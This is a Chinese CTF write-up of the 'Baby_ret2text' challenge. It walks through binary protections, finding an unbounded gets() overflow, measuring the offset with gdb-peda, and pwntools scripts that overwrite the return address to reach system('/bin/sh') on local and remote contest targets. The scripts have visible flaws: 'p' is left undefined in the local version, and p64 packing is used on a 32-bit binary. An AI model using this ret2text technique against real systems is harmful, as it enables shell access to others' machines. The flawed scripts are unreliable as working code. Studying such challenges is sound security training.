UNCTF:Baby_ret2text(栈溢出)

基本信息查询 

 

Stack:这里没有开启Stack保护,如果开启的话会在栈中的返回地址前放一个随机值,如果被覆盖,程序就会报错退出

NX:没有开启,如果开启的话就不能让IP寄存器指向堆、栈

 

 

 

这里显示这是一个ELF32位的程序

运行后发现需要input

 

canary(栈保护)

当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie

信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行

(栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode

的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。

PIE

如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址

NX(DEP)

NX即No-eXecute(不可执行)的意思,限制一块内存区域不可执行。

ASLR

ASLR(地址随机化)是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。

但是,地址随机化不是对所有模块和内存区都进行随机化!虽然libc、栈、堆的加载位置被随机化,但主镜像不会。


链接:https://www.jianshu.com/p/4231b886ded5

 

 

接着使用IDA分析 

 

 

 F5,查看伪代码

 

发现get函数没有限制长度,这里有溢出

 

 

接着找到

 

找到system(“/bin/sh”)地址就可以构造exp

 

 

我们这里知道了gets函数读取无限制的用户输入到栈上,还有get函数的地址,接下来要确认输入到多少位可以覆盖到返回地址

 

创建随机的字符:

gdb-peda$ pattern_create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'

 run运行,然后输入刚才获取的字符,程序会报错

 

用pattern_offset命令算出偏移(填入报错的地址):

 

编写本地的exp:

from pwn import *
#p=process("/home/luo/pwn/vul")
p.sendline('b'*60 + p64(0x08048503))
p.interactive()

 

成功后继续编写远程的exp:

#根据题目给的ip和端口远程连接
from pwn import *
p = remote('120.79.17.251','10001')
p.sendline('b'*60 + p64(0x08048503))
p.interactive()

 

运行exp:

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章